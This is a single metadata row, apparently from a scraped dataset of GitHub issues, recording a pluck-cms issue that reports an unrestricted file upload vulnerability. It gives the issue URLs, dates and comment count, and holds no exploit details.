My email:codeklaus@gmail.com | [Vulnerability] Unrestricted File Upload in background site | https://api.github.com/repos/pluck-cms/pluck/issues/44/comments | 2 | 2017-04-11T17:52:00Z | 2018-09-03T08:40:42Z | https://github.com/pluck-cms/pluck/issues/44 | 221,030,477 | 44 |
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